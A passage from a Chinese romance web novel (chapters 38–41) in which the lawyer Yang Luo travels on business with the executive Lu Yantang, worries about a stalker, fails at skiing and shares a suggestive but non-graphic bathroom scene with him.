结完账老板问他们是不是中国人,周淼一脸惊讶:“你怎么看出我们是中国人的?好多人说我像韩国人呢。”
老板:“这一带附近中国人很多的,因为附近有一家很出名的中餐馆。”
周淼:“是吗,中餐现在可是世界闻名,不过最地道的中餐还是得到中国,欢迎你来呀。”
老板:“我很爱面条,但可惜我不太会用筷子,不过我已经学会熟练的用叉子吃炸酱面了。”
周淼:“中国的面条有几百种做法。”
老板震惊:“真的吗?太神奇了!”
周淼热情的和老板探讨了一番中国饮食文化,老板聊的十分开心,临走前还送了她一条小围巾。
几人拎着大包小包往回走,小刘突然一指:“那个是不是她说的中国餐馆?”
杨珞看过去,只见一个黑底金子的招牌,用楷体写着‘合盛居’。
很典型的中餐馆名字。
招牌不大,但外围的装潢却很讲究。
“陆总?”
周淼忽然定在原地。
杨珞随着周淼的目光看过去,居然真的是陆砚堂。
他身着深蓝色西装,正在门前同一个高个男士谈话。
两人显然是刚从合盛居出来。
张凌睿调侃道:“中国人谈生意,还得是酒桌文化啊。”
三人正议论纷纷,杨珞的脸色忽的变了。
她看到了同陆砚堂交谈的男人转过身来。
她认出了那个男人。
林尊儒。
林纪泽的哥哥。
几乎是同一时间,陆砚堂和林尊儒也看到了杨珞她们。
三个站在美国街头的中国人十分显眼。
张凌睿和周淼朝陆砚堂挥手打招呼,而陆砚堂却注意到了杨珞落在林尊儒身上的目光。
是一种疑惑和震惊。
林尊儒在他模糊的印象里似乎对杨珞有过一面之缘,不过早已不记得这个女人的样子,但此刻在看到杨珞的那一秒,就笃定的确认了她的身份。
一个让林纪泽歇斯底里的女人,一个让陆砚堂有心惦记的女人。
似乎比他想象中要平凡了些。
又或是自己没有继续看下去的耐心。
林尊儒的目光似乎带着一种轻蔑的审视,漫不经心的在她惊恐的面容上停留了一秒。
司机为他打开车门,林尊儒不作片刻停留,弯身钻进了车子里。
张凌睿嗅到了陆砚堂在看向杨珞时一闪而过的担忧,也目睹了杨珞此刻无法掩饰的情绪。他飞快的朝周淼和小刘抛出了别的话题,引开了这场意外相遇带来的麻烦。
42. 第38章
深夜的走廊,杨珞欣长的身影来回踱步。
在看到林尊儒的那一刻她并不确定陆砚堂在干什么,可当她看到林尊儒意味深长的打量自己时,她就知道这件事一定同自己有关。
杨珞觉得现在的自己如同笼中鸟,不知道自己的命运会向何处去,也不知道自己会被如何处置。
她曾试图对陆砚堂报以信任,但无论如何心中还是残留着忐忑。
她的生命可以以任何方式结束,但绝不能不明不白的走向结局。
陆砚堂拖着酒气回来,程进在一旁搀扶着他。
杨珞在走廊的另一头焦急等待,三人看到彼此时都是心知肚明。
陆砚堂冲程进使了个眼色,程进冲杨珞微微点头后离开。
陆砚堂朝杨珞走过去,似乎是醉了酒,他不似平日那般严肃,倒多了几分轻佻。
杨珞走到他面前:“你为什么会见林尊儒?你到底要干什么?”
陆砚堂居高临下的看着她,目光有些迷离,开口却是另一个问题:“你认识林尊儒?”
杨珞:“认识。”
陆砚堂:“在哪儿认识的?报纸?新闻?还是林纪泽的家里?”
杨珞觉得莫名其妙:“这很重要吗?”
陆砚堂歪着身子靠在墙上,目光晦涩不明的从她脸颊上扫过,说:“林尊儒说,你照顾了他很长时间。”
杨珞:“他?谁?”
她当下没明白陆砚堂在说什么,反应过来后才知道陆砚堂嘴里的‘他’是谁。
杨珞:“有段时间林纪泽不知道为什么受伤了,每次我去给他上课的时候,他都让我买药换药。说是很长时间也没有吧,毕竟我也不是天天上课。”
陆砚堂听着她的解释一言不发,目光却柔和了些。
杨珞不知他是不是又在逗自己,反问道:“问这些做什么?吃醋了?”
陆砚堂却没否认:“不行吗?”
杨珞盯着他,漆黑的眸子如同一片深渊,往下看去只有黑洞洞一片,窥探不出一点心思来。
走廊那头忽然想起了交谈声,这一层住的都是陵川和律师的人,杨珞慌张的看了一眼。
陆砚堂拉着她跑进了防火通道,关门的一瞬间,杨珞听出了来人是陵川业务部的一个经理。
防火通道黑漆漆一片,杨珞浑身汗毛竖起,紧紧抓住陆砚堂的衬衣。
陆砚堂似乎感觉到了她的颤抖,双手抱住她的肩膀。
“怎么了?”
杨珞说不出话来。
陆砚堂很是疑惑:“你什么时候这么怕黑了?”
在陆砚堂的印象里,杨珞没有这么怕黑。
她甚至还能单枪匹马的躲在暗处帮人送情报。
杨珞一言不发。
黑暗把她带回了那个狭小黑暗的房间,她在那里被关了整整两天两夜,不见一丝光亮。
陆砚堂似乎想到了什么,轻轻把她搂在怀里,等外面声音消失殆尽,陆砚堂拉着她出来,回到了自己的房间。
陆砚堂倒了两杯水,将其中一杯递给杨珞。
杨珞并不想让陆砚堂知道关于那几天的一切,她强装镇定,尽量让自己看起来什么事都没有。
陆砚堂很识趣的没有追问,就这么静静陪着她呆了一杯水的功夫。
杨珞没有忘记今天在这里等陆砚堂的初衷,单刀直入:“你和林尊儒,以及林纪泽的接触,和我有关吗?”
陆砚堂直言不讳:“有。”
杨珞:“你想做什么?”
陆砚堂:“还不确定,一切都在变化。”
杨珞:“陆砚堂,我不管你做的事情涉及到什么样的机密,但和我有关的我总该有知情权吧。或许你是在帮我,但是我是一个人,不是一件物品,不是任凭你摆布的。”
陆砚堂笑了:“你觉得你像是能任凭我摆布的人吗?你有这么听话?”
杨珞:“你现在不是摆布我是什么,我还有别的选择吗?”
陆砚堂看着她,平静的眸子下波涛汹涌。
陆砚堂:“我不是有意要瞒你,这件事我也在摸索,我现在还无法告诉你最后事情的定局是什么。但是我一定会让你摆脱林纪泽,你不相信我做得来吗?”
杨珞沉默片刻:“我是不相信我能还得起。”
陆砚堂走近她,两人在静谧昏黄的灯光下靠的那样近。陆砚堂甚至能听到杨珞已经乱了的呼吸。
“你说在西京那样亮的夜里,什么都容不下。现在我们离开西京了,你不必把我当成陆砚堂,你还可以把我当成最初遇到的陆淮。”
杨珞看着他,竟笑了:“陆先生,没想到您还有这么孩子气的时候。路都是往前走的,哪有回头看的。”
陆砚堂的手微微转着杯子:“是啊,我现在做的每件事,都是在铺未来的路。你又怕什么,我可从没叫你还过什么。”
杨珞:“你忘了自己说过的话了吗?你是生意人,从不做赔本的买卖。”
陆砚堂笑了,声音低沉的回荡在静谧的夜晚,有种蛊惑人心的力量。
“千金一掷为红颜,等我老了也算一桩谈资,不算赔本。”
杨珞听着他的话,感受着他的笑,有那么一瞬的动容,仿佛真的看到了初见时的陆淮。
陆砚堂在沙发前停住脚步,背对着她,叫她的名字。
“杨珞。”
杨珞安静如斯,没有回答,等他下面的话。
“我和林纪泽不一样,在你心里从来就不一样,你应该知道这点。”
杨珞心底像是被戳中了什么,定在原地久久不能开口。
她必须承认一些东西,直面它,可却不知是否能够承担起面对的代价,所以她一直在逃避,逃避到自己都快忘记了事情的真相。
——
新西兰之行是次日下午出发的。
临走前法务部和律所的人一起开了会,主要是对合作方银矿设备开采进行考察,如果没问题的话就在新西兰当地把合同签了。
林纪泽的事不见眉目,杨珞也不能一直把心思挂在上面。这几日还是把心思都扑在了工作上。
设备考察的事情非常专业,法务跟在科研团队后面,只在认定合同的时候提出自己的专业意见。
新西兰正是冬季,室外考察把杨珞冻的够呛。本身脑袋上的伤还在休养中,杨珞觉得这零下的气温给她脑子都冻的不灵光了。
可偏偏许多人对这梦幻般的雪趋之若鹜。有一说一,如果不用在外面挨冻的话,这样的雪景确实很美。
为期三天的考察转瞬即逝,双方敲定好合同后决定两天后正式开始签约仪式。
周淼拖着疲惫的身体问:“为什么不现在就签,非得两天后?”
小刘:“听说陆总算了个良辰吉日。”
周淼:“他们新西兰人也信这个?”
小刘耸肩:“那我不清楚。”
张凌睿:“大领导办事儿,都是有点玄学的。”
话音刚
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落,三人的手机同时响起。
带队组长在群里发了公告,邀请大家一起去滑雪。
大雪纷飞的新西兰,滑雪再适合不过了。
小刘立马跳出来第一个响应,拉着杨珞就去报名。
杨珞连连摆手:“我不会滑雪。”
小刘:“没事啦,我也不太会,可以学嘛。”
杨珞耐不住小刘的热情,而且她这几日确实累坏了。不仅身体累,心更累。一种无言的压力和憋闷。
她朝窗外看了一眼,一望无际的雪山开阔无比,身处这样的景色之中,连心境都开阔了了不少。
杨珞想的很美好,但现实很残忍。
她根本不会滑,而且根本学不会。
偏偏她选了个单板,别说滑,站都站不起来。
一开始法务部的一个男生还很热情的教她,但半个小时过去,她明显感到男同事对于山顶的向往。杨珞实在不好意思再让他陪自己在初级道待着,就让他自己去滑了。
连小刘都有些基础,已经能一个人悠哉的滑双板了。
杨珞决定自己再把刚才同事交的技巧练一遍。
她刚费劲儿站起来,一个身影从自己身边飞速而过,潇洒的定立。杨珞还没看清楚眼前人是谁,就听见那吊儿郎当的声音。
老七:“杨小姐,你不会啊。”
杨珞一探身子,又一个屁股蹲摔地上了。
老七笑的前俯后仰,伸手拉她,道:“要不我把陆先生请来教教您?他滑的可好了。”
杨珞听到这话,急忙环顾周围,生怕别人听见。
老七:“放心,没人知道。”
杨珞算是看出来了,老七存心逗他。也不管他伸过来的手,就挣扎着自己站起来。
可半天也没能起来,闹的场面愈发尴尬。
杨珞气急败坏,打算把单板先脱了,要动手时又一个利索的身影闪过,帅气的定在自己面前。
来人摘了面罩,利索的卸下滑板朝杨珞走过来。
是程进。
“杨小姐,你没事儿吧?”
老七笑道:“杨小姐在这儿演自力更生呢。”
程进瞪他一眼,伸手把杨珞拉起来:“老七就爱开玩笑,您别介意。要不要我教你?”
杨珞:“不用不用,我就打算回去了,你们滑就好。”
程进显然不太信:“我玩儿好一会儿了,不碍事儿的。”
杨珞:“真的不用,我也不爱滑雪。”
老七凑上来:“杨小姐,我这人就嘴贱,您别见怪啊。你放心,我俩保准给你教会。”
真是盛情难却。
杨珞在程进和老七的一唱一和中不得不答应了。
杨珞:“就你们两个来吗?你们陆总呢?”
程进:“他在房间呢。”
杨珞:“我听老七说他滑雪很好,为什么不来?”
程进:“这里人多,他不喜欢人多的地方。”
杨珞了然,富贵人家的公子哥怕是从小就在私人滑雪场孤独的滑雪吧。
程进负责给杨珞讲专业知识,老七负责给她做示范。
杨珞在一声声夸赞中逐渐丧失了自我,自信的下坡,然后噼里啪啦一顿摔,用时七秒结束了这场滑雪教学。
她躺在白雪皑皑之上,看着一望无际的蓝天。不知道是晕雪还是自己的脑袋伤又发作了,只觉得混沌一片,目光迷离。
杨珞发誓,这辈子再也不会碰这项运动。
43. 第39章
杨珞摔了个头晕脑胀,程进和老七在后头跟着,两脸的惶恐,不知道怎么跟陆砚堂交代。
程进:“我就说先让你扶着,你怎么就让她一个人滑下去了。”
老七:“我哪儿知道这大小姐这么脆啊。”
程进:“这可怎么办?”
老七:“要不找医疗队来看看?”
程进:“行,我去联系。”
老七:“陆先生不会怪我们吧。”
程进:“不能吧,我看杨小姐还能站起来。”
三人隔得不远,老七和程进的对话全进了杨珞的耳朵。
杨珞爬起来,晃了晃脑袋,看到老七和程进的表情,觉得自己真是拖累人家了。
杨珞摆了摆手:“我没事儿,我有点冷,要不我先回去吧。”
好蹩脚的理由。
但是老七和程进不敢再反驳。
“那我送你回去吧。”
“不用不用,下面有摆渡车,我直接坐回酒店就行了。”
“我还是送送吧。”
杨珞被老七送回了酒店,折腾了半天,什么也没玩儿上,白白摔了一通。
杨珞带着医生开的药,吃了两片后打算睡一觉,屋子里却热的难受。
这次的地方说是酒店但也不算,是甲方老板的一个私人住所。平时会用来招待客人,但不怎么对外开放。
从外面来看和现代式的住房并无差别,但是里面用的是原木式构造。颇有老式庄园的感觉。
现在他们住的地方是用最原始的木质隔断,暖气十分充盈,杨珞这几日在房间内都只穿着短袖。清凉的赏着窗外的雪景,别有一番风情。
当然,这种建筑也导致隔音不好,基础设施不够现代化。
杨珞前几日很是享受,但这会儿本就头晕,被这这股燥热弄的更是有些上不来气。
她把窗户开了一条缝,透了一丝冷气进来。刚打算拉上窗帘睡会儿,门铃就响了。
杨珞开门,是方才教自己滑雪的那位男士。
她只认得此人是陵川的一个小领导,但是不知道叫什么。
“你没事吧?我刚才听人说你先回来了,我怕你不舒服,就过来看看。”
杨珞有些意外:“我没事,让您担心了。”
男人笑了笑,这才想起来自我介绍:“我叫周易城,是陵川业务部的经理。前几天我们一起考察过,不过人太多了,你可能没注意我。”
杨珞礼貌的伸出手:“周经理,不好意思啊,我这个人太粗心了,前两天一直忙着,没太注意。”
周易城:“我这种平平无奇的样子,你没注意到我很正常啊。不过我倒是一直在注意你。”
杨珞愣了下,不知道怎么接话了,笑了两声:“谢谢啊。”
周易城直看着杨珞笑,气氛忽然变得尴尬起来。
杨珞正不知如何化解,滑雪的人陆陆续续回来了。
有几个陵川的人看到门口的周易城竟直接笑了起来,带着几分打趣的意思。
“周经理,杨小姐没事儿吧?看把你担心的。”
“是啊,杨珞,你一走啊周易城的滑板都踩不实了,恨不得跟着你飘过去。”
“你可得好好谢谢周经理啊。”
几个人你一言我一语,把周易城的心思全都抖落了出来。
周易城一边脸红着,一边笑着斥责:“别闹!”
转头对杨珞说了抱歉:“你别理他们,他们就爱开玩笑。”
杨珞头皮发麻,陪着尬笑了两声。
周易城犹犹豫豫道:“那个,晚上有空吗?客户那边说办了个酒会,要不要一起参加,能不能请你当我的舞伴?”
杨珞想着怎么礼貌的拒绝。
还没开口,旁边的门突然开了,陆砚堂走了出来。
周易城和杨珞皆是吓了一跳。
周易城急忙向陆砚堂打招呼:“陆总好。”
陆砚堂的目光轻轻掠过周易城,只含蓄的点了点头,而后转到杨珞身上,目光顿了半秒。紧接着就转身下楼了。
杨珞心如擂鼓,陆砚堂的目光多少有些意味深长。
等杨珞回过神来,发现周易城还在一脸期待的等她的回答。
“不好意思周经理,我今天确实有点不太舒服,我晚上应该哪儿都不去了,就想在房间里休息一下。”
周易城大失所望,但还是保持着绅士:“那要不要我送你去附近的医院看一看?”
杨珞:“不用,可能这几天太累了吧,我睡一觉就好了。谢谢您。”
杨珞已然说的很明白,再纠缠下去也没意思了。周易城又交代了几句有的没的,这才离开。
杨珞确认周易城走远,关了房门,长舒一口气。
她在门后靠了一会儿,若有所思的看着眼前的墙壁。
她并不知道陆砚堂住在自己隔壁。
一墙之隔。
杨珞真庆幸自己这几天没干什么奇怪的事情,不然真是丢人丢到新西兰来了。
送走周易城后杨珞一身疲惫的躺在床上。
杨珞为了躲避林纪泽,把在西京用的电话卡换掉了,新卡只存了几个重要的人。现在或许是松了一根弦,杨珞把以前的电话卡换上后看了一眼。
有一些无关紧要之人的联系,但没有看到林纪泽给自己打电话。
她松了一口气,或许林纪泽心里也清楚,他联系不上自己了。
杨珞沉沉的睡了一觉,但这一觉睡的并不踏实,她觉得浑身都十分酸痛,脑袋昏沉沉的。半梦半醒中睁开眼睛,外面的天都暗下来了。
杨珞挣扎着起床,窗外微光映在皑皑雪山之上,闪着深蓝色的光芒。
傍晚醒来最是出神,仿佛自己与世隔绝。
杨珞发了好一会儿呆,被周淼的电话叫回神来。
“你人呢?怎么没见你回消息?”
“我睡觉呢。”
杨珞切到微信看了眼,发现群里都在商量晚上聚会的事儿。
杨珞:“我不去了,我觉得有点不太舒服。你过去了帮我跟主任说一声。”
周淼:“我也不去,我要回去了。你在房间吗?我上去跟你说吧。”
周淼就住在楼下,很快便上来了,手里还提着一盒小糕点。
“尝尝,我昨天在小镇上买的。”
杨珞哪里有胃口,指了指自己的脑袋:“吃不下,我这会儿头疼的厉害。”
周淼:“要不要去看医生啊,这里应该配的有医疗队吧。”
杨珞:“不用,估计太累了吧。我一会儿再睡一觉。这个暖气热的我难受。对了,你怎么要回去了?”
周淼:“家里有点事儿,后面也没什么工作了,我就先回去吧。”
杨珞点了点头:“那也行,你路上注意安全。”
周淼靠在门口,目光几次抬放,却欲言又止。
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杨珞察觉到。
“怎么了?”
周淼:“我上午出门的时候,有个人向我打听你,他好像在找你。”
杨珞:“找我?长什么样子?”
周淼:“找我打听的那个人倒是个本土的人,但是他旁边还站着一个男人,那人没怎么说话,但是临走的时候嘟囔了一句,我听着像是粤语。”
粤语。
杨珞打了个机灵。
周淼顺势问道:“怎么会有那种人来打听你?你是不是在外面遇到什么事儿了?”
杨珞:“没有啊,我也不认识那个人。”
周淼笑道:“遇到点小麻烦也没事儿,现在有人恨不得你遇到点儿什么事儿,好英雄救美呢。”
“英雄救美?谁要救我?”
“周经理啊。你最近怎么了,动不动就发呆跑神,有时候人影都见不着。人家周经理的秋波都送到你脸上来了,你到好,两眼一闭什么都看不见。”
杨珞被周淼一说,这才发现周易城的心思已经搞得人云亦云。
“你别跟着瞎起哄,我跟那个周经理可不熟。”
周淼:“不熟最好了,我看那个周易城也不是个会办事儿的主。你这儿什么心思都没有呢,他在外面说风就是雨了。现在一起过来的人都在八卦,再这么下去,你都要下不来台了。”
杨珞摇了摇头:“随他说去吧,我懒得理这些。”
周淼意味深长道:“那可不行啊,你要是有心上人,让人家听见这些风言风语多不好。”
杨珞喝水的手一顿,她看出了周淼的猜测,也听出了她话里的试探。
“我的心上人连这点风言风语都听不了,那凭什么当我心上人?”
周淼笑了笑,两人都是明白人,话也不必说的太透。
“你倒是心大,行了,我该走了,你好好休息吧。”
周淼下楼便碰见从陆砚堂房间出来的老七。
老七是个自来熟:“周律师,去吃饭啊,一起去呗。”
周淼:“我不去了,我有事儿得提前回国了。杨珞也不去了,她要在房间休息。你们吃好玩好。”
周淼走后,老七看了眼楼上。
“陆先生和杨小姐都去不,俩人不会准备……”
程进踢他一脚:“别瞎猜。”
老七不怀好意的笑了笑:“真是的,我天天跟着在后头擦屁股,还不能让我肖想一下解闷啊。”
杨珞立在窗前,朝楼下看了许久。聚餐的人都乘车走完了,其余零零散散的人也都进了酒店。她没再看到什么可疑的人,伸手把窗帘拉上。
周淼虽有自己的心思,但不会在这种事情上骗她。
林纪泽还在跟踪自己。
杨珞愈发觉得头疼。不知是真的疼还是烦的。
她身上黏腻燥热,打算冲个澡就这么睡了。
洗澡水打下来有一瞬间的凉意,但很快整个浴室都热气腾腾,杨珞憋闷的难受,只想赶紧洗完躺下。
可却被泡沫迷了眼睛,伸手去够毛巾的时候不留神摔了一跤。
身子磕在木地板上传来沉沉的声音,她吃痛的叫了一声,躺在地上缓了一会儿,再起来时有片刻的眩晕,而后只觉得反胃恶心。
一整天的头疼终于让她浑身都开始不舒服起来了。
杨珞扒着马桶就开始干呕起来。
几下之后刚好受了些,浴室的门突然开了。
44. 第40章
浴室的门开了。
杨珞当下甚至没反应过来,一秒后透着雾气看过去,只见到站在门口的陆砚堂。
杨珞不知自己是不是摔晕了,出现了幻觉。
这屋子的隔音确实不好,陆砚堂听到了周淼和她的谈话,也听到了她摔在地板上的声音。
他抱着救人的心思闯进来,却没成想看到这样一幕。
杨珞一丝/不挂,蜷缩蹲着,看向自己目光充满着疑惑和迷离。湿发贴着雪白的后背,氤氲游离在双眸之下。
杨珞回过神来,抱住自己。
“你怎么进来的?”
陆砚堂从那片刻的晃神中抽离,走进浴室,拿了浴巾递给她。
“隔音不好,你的门也没有反锁。”
杨珞接过浴巾裹在身上。发觉陆砚堂并没有要回避的意思,反而居高临下的看着她。
两人有过最亲密的关系,但看着眼前西装革履的男人,□□的自己还是很狼狈。
杨珞蹲在地上,一动不动看着陆砚堂。
陆砚堂读懂了杨珞眼里的警告,扯了下唇角转过身去。
杨珞起身裹上浴巾,问道:“隔音不好,你都听到什么了?”
陆砚堂倚着门框:“你指的什么?是周易城,还是周淼,还是你摔倒?”
杨珞发现陆砚堂虽平日不苟言笑,但真玩笑起来,倒有一丝让人哭笑不得的幽默感。
杨珞讽刺:“听见了也无所谓,反正你手眼通天,想知道的事自然有人会告诉你。”
陆砚堂在听到杨珞擦头发的声音后转过身来,似笑非笑的看着她。
“我倒是想让你亲自告诉我,但你避我如蛇蝎,我有什么办法。”
“你知道林纪泽在派人跟踪我吧?”
“知道。”
“你知道带着我很危险吧。”
“知道。”
“林纪泽跟踪我这么久,什么动作都没有?”
“你觉得呢?”
杨珞停下手里的动作,直面陆砚堂的反问。
她直直的看着他,浴室里的雾气散了些,杨珞脸上凝着几滴水珠,她如出水芙蓉般清透,目光却是一片坦诚和孤勇。
陆砚堂喜欢她柔弱时的依赖,但正是因为她的清醒和倔强,才叫他觉得那丝依赖弥足珍贵。
杨珞:“我觉得我该对你感激涕零,林纪泽什么都没做,是因为我在你的地盘上。”
陆砚堂笑了:“你现在可不是感激涕零的样子。”
杨珞:“要感谢也不是现在,我现在这个样子哪能待客?”
陆砚堂一言不发,目光扫过她的身子。
杨珞在他眼里看到了毫不遮掩的欲念,她转过身去,背对着他。
“我没事了,你可以走了。”
陆砚堂并不急这一时,他玩笑也开够了,识趣的准备离开。
刚一转身,门外响起了张凌睿的声音。
“杨珞,你怎样啊?”
说着就响起了敲门声。
陆砚堂目光一转,存心逗她。就这么往门口走去,手放在门把上。
杨珞大惊失色,她两步冲过去拦住陆砚堂,赶紧冲他比了个别说话的手势。
张凌睿听见动静:“杨珞?”
杨珞:“我在呢,你怎么还在这儿?没去吗?”
张凌睿:“没有,他们年轻人玩儿的东西我不感兴趣。我听周淼说你病了,吃药了吗?”
杨珞:“吃了,没事儿。”
张凌睿:“没事儿你倒是开门了,我进去跟你唠两句。”
杨珞:“不行,我刚洗完澡,我还没穿衣服呢。”
“那你穿上不就完了?”
“我……我没擦头发呢,没擦穿不了。”
“你们女的怎么洗个澡还这么麻烦?”
“你有事儿吗?”
陆砚堂在一旁看着她面红耳赤的扯谎,低头笑了笑,打算坐回去,转身往屋里走。可杨珞却以为他要出门,陆砚堂刚挪了一下,杨珞赶紧拉住他。
着急忙慌之下,浴巾掉了。
杨珞倒吸一口凉气,急忙捡起来围上,可手忙脚乱,挡不住春光乍泄。
陆砚堂本要离开的脚步停了,回过身来。
张凌睿:“怎么回事儿?”
杨珞:“哦……吹风机掉了。”
她心虚的去看陆砚堂,只见他眼神晦暗不明。
一扇木门,隔开了两个世界。
杨珞扯着浴巾遮蔽自己,身边的陆砚堂西装革履,一丝不苟。
杨珞被此刻的狼狈微微激怒,她看到陆砚堂起伏的胸膛后竟起了坏心思,索性站起来,将浴巾扔到一旁。
陆砚堂目光微深,些许惊讶。
杨珞冲着门外说:“你不去酒会,来找我干嘛?”
张凌睿:“周易城你认识吧?”
杨珞:“认识,你来找我八卦啊?”
张凌睿:“我提醒你离他远点,这人我之前办案子接触过,人品一般。”
杨珞和张凌睿就这么聊天,陆砚堂才反应过来,杨珞是在报复他方才不怀好意的逗弄。
知道他此刻只能过个眼瘾,却又一边勾的他难受。
杨珞的有趣之处倒是从未让陆砚堂失望过。
他不可控制的有了反应,闷热狭小的空间里,也放任自己沉溺其中。
陆砚堂靠在墙上,目光落在杨珞湿漉漉的发尾,一簇簇的贴在滑腻的肌肤上。
他抬手拨弄起她的头发。
一阵痒感掠过肌肤,杨珞分不清是他的手指还是自己的头发。
她不该和男人比下流,尤其是眼前这个斯文败类。
门外的张凌睿还在喋喋不休。
“这人你就别搭理他,现在逢人都要提一嘴你,生怕别人不知道他对你有意思。净粘一身腥。工作场合还是不要搞男女私情。你那头发吹完没?”
杨珞拨开陆砚堂的手:“没呢,我还没擦干。”
张凌睿在门口聊适应了,也不再催,问:“你知道吗?陆总住你旁边儿。”
杨珞瞪了一眼身后的男人。
“我知道。”
“知道就行,我还怕你不知道,自己在屋里胡说八道被听见。我们所下一年可全靠陵川这块肥肉了。”
杨珞:“你现在说话这么大声,怎么不怕他听见?”
张凌睿:“那不会,我都打听好了,陆总今天不在。”
杨珞:“……”
张凌睿:“行了,我不跟你聊了,你赶紧吹头发吧。有事儿打电话。”
门外传来张凌睿下楼的声音,随着声音渐渐消失,陆砚堂覆在她杨珞肩膀上的手愈发用力。
粗粝的手掌渐渐上移,握住她的后颈,力气不大不小,正好叫她不得挣脱。
杨珞的心提到了嗓子眼儿,身上的汗毛一
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根根竖起来,身后的人稍稍用力,自己被扯了过去,后背贴在他胸膛上。
杨珞:“你该走了。”
陆砚堂轻笑一声,杨珞摸不清他的心思。
下一秒,陆砚堂松开握着她脖子的手,杨珞刚松一口气,啪的一声!
豚上的触感火辣辣,力道不轻,透出几分红印。
杨珞惊呼一声,羞怯中带着几分恼怒,回头却看到陆砚堂眼里的几分轻佻。
她少有在这个男人身上看到这幅放浪的样子,即便是以前带着几分放纵,但都充满了克制和禁欲。
但此刻不一样,他仿佛褪去了终日披着的外壳,流露出一丝最原始的模样,骨子里透出的坏。
原来再矜贵的人都不过俗人,只不过旁人见不到。
杨珞还震惊于看到陆砚堂不为人知的一面,这幅样子便转瞬即逝。陆砚堂从浴室里又拿出一件浴袍,裹在她身上,再开口已是平日的冷静。
“吹头发去吧,别感冒了。”
杨珞识趣的躲进浴室,手忙脚乱的打开吹风机。透过镜子看到陆砚堂站在门边,望着墙壁一动不动。
她眼神往下移,看到皮带下那团鼓肉,又急忙收回目光。
片刻之后,陆砚堂平复了那股燥意,朝浴室看了一眼。
杨珞还在吹头发,空气中弥漫着一丝爱妹和尴尬交杂的气息,她装作若无其事,却不敢朝这边看来。
陆砚堂低头笑了笑,然后离开了。
门关的那一刻,杨珞长长的松了一口气,浑身无力的倚在门上。
——
日子平静的过了两天,新西兰的签约已经完成,来出差的人又走了一批。
陵川业务部的人应当是没什么工作了,签约的完成的第二天就有人陆陆续续离开了。杨珞坐在咖啡厅里,发呆的看着窗外。
周易城在她对面坐下来。
“这儿的咖啡怎么样?”
杨珞回过神来。
“还可以,我也不怎么喝咖啡。”
周易城:“我听张主任说你们都先不回去,是港城那边还有什么安排吗?”
杨珞:“港城?”
周易城看杨珞的反应,估计还不知道下面的安排,笑了笑,说:“对啊,下一站要去港城。但是去的人很少了,你不是也要去吗?没听说你要回去。”
杨珞很是茫然,没人告诉她下一站要去哪里,也没人告诉她人生的下一步什么。
自己冲动之下和陆砚堂出来了,可她还能回去吗?
回到西京自己又将面临什么?
出差行程陆陆续续结束,自己也该回到现实了。
她没资格去质问陆砚堂,也没有这个底气,说到底谁也不是非帮自己不可。
杨珞的沉默让周易城有些尴尬。
“你还好吗?”
杨珞笑了笑:“我还好,我不知道下一步的安排,等张主任通知我吧。”
周易城:“这个时候都没说让你走,肯定是让你跟着一起去了。我知道你是在港城念的大学,肯定也想回去看看吧。”
杨珞看着手里的美式,又黑又苦,就像自己当年在港城那段黑暗的人生一样。
杨珞笑着摇了摇头:“我不是很喜欢那里。”
她的回答让周易城出乎意料,原本为搭讪准备的话题也都没了发挥的余地。
杨珞起身:“您慢慢喝,我先回去了。”
45. 第41章
去港城的消息是从张凌睿那里问出来的,杨珞不想再去找陆砚堂,她不确定这到底是私事还是公事,又知道他现在不愿透露很多。
杨珞回房间后给唐亭打了电话。电话那头显然是喝酒了。
“林纪泽?他离开西京了。”
杨珞心里咯噔一声。
“他去哪儿了。”
唐亭从床上翻滚下来,点了一只烟。
“不知道,我现在只知道他离开了西京,他的那个哥哥前段时间来了一趟西京,然后林纪泽就没有消息了。”
哥哥。
林尊儒。
唐亭笑道:“是不是真的一物降一物,林纪泽这种禽兽,见了他哥哥也得乖乖的服低做小。”
杨珞深吸了一口气,过了会儿问:“你怎么又喝这么多酒?”
唐亭:“我开心,你知道吗,江月集团垮了。”
杨珞震惊:“这么快?!”
她早就知道陆砚堂不会安分的和江山明讲和,迟早要吞掉他,可没成想速度竟这么快。
唐亭:“是啊,就是这么快。我去参加了唐继平的宴会,他还在那儿沾沾自喜早早跟江明名断了往来。我多希望今天垮台的是唐家,我做梦都想。不过快了。”
唐亭喃喃自语,声音越来越小:“唐家的下场不会比江家好多少……”
唐亭在碎碎念中睡了过去,杨珞听到她沉稳的呼吸声后挂了电话。
林纪泽不在西京,又会在哪儿呢?
她看着张凌睿发给他明天出发去港城的消息,心里隐隐不安起来。
许是心里有事,杨珞一整晚没睡好。
次日一早她收拾了行李下楼,时间还早,只有老七和一两个她不太认识的人在聊天。
老七看到杨珞,上前接住她的行李。
“起这么早啊杨小姐,先去车里待一会儿,等陆总下来了我们去机场。”
“好,谢谢。”
“客气了。”
杨珞坐进车里,阳光映在皑皑白雪上反射出刺眼的光。
她闭着眼睛靠在车窗上,大约半个小时就有人陆陆续续的下来了。
周易城看了眼手机,给杨珞发的微信没收到回复,抬头就看到她在前方的一辆黑车里,闭着眼睛打盹,精致的五官透过灰暗的车窗显得愈发有韵味。
周易城急忙跑过去,开了车门就要往里坐。
身后的老七一把将人拉回来。
“周经理,您不坐这辆车。”
周易城皱眉,抬头看见老七却又收敛了神色。这人虽不算在公司有正经职务,但却经常出入陆砚堂身边,他也不好轻易去惹。
周易城:“哦,我刚好找杨珞有点事儿,坐这儿就行,不用再特意安排了。”
老七瞧了眼车里的杨珞,她已然睁开眼,虽不动声色,但显然对眼前的人并无好感。
老七刚要说话,程进突然站过来,冲周易城摆了个请的手势。
“这车安排人了,周经理,麻烦您还是移步后面那辆吧。”
周易城见到程进不好再坚持,探着头给杨珞打招呼:“那等会儿我们机场见哈。”
杨珞有些尴尬的点了点头。
老七瞧着周易城走远,探头玩笑道:“杨小姐,这周经理好像对你有点意思啊。”
杨珞淡淡道:“嗯,怎么了?”
老七继续道:“那您现在是单身吗?”
杨珞:“不是啊,我被你们陆先生包养了,你不是他的左膀右臂吗?这事儿你都不知道?”
老七被杨珞呛的说不出话来,些许尴尬的摸了摸鼻子。
一旁的程进笑着转过身去。
老七有些憋闷,而后无奈笑了两声:“怪不得陆先生喜欢她,说起话来是有点带劲儿哈。这要是没事儿斗个嘴,还怪有意思的。”
程进踹他一脚:“还说!”
车队等陆砚堂下来后才出发,杨珞只瞥见他匆匆走过的身影,并没有同自己坐一辆车。
到了机场,杨珞拿着自己的登机牌发呆。
从她离开港城后,就再也没有回去过。
一开始她满怀期待来到港大读书,度过了她人生中最风华正茂的一年,而后便如同坠入深渊,一闭眼全是噩梦。
“港城现在也不行了,没有深市好。想起我小时候看的港片,那时候港城真是让人向往啊。”
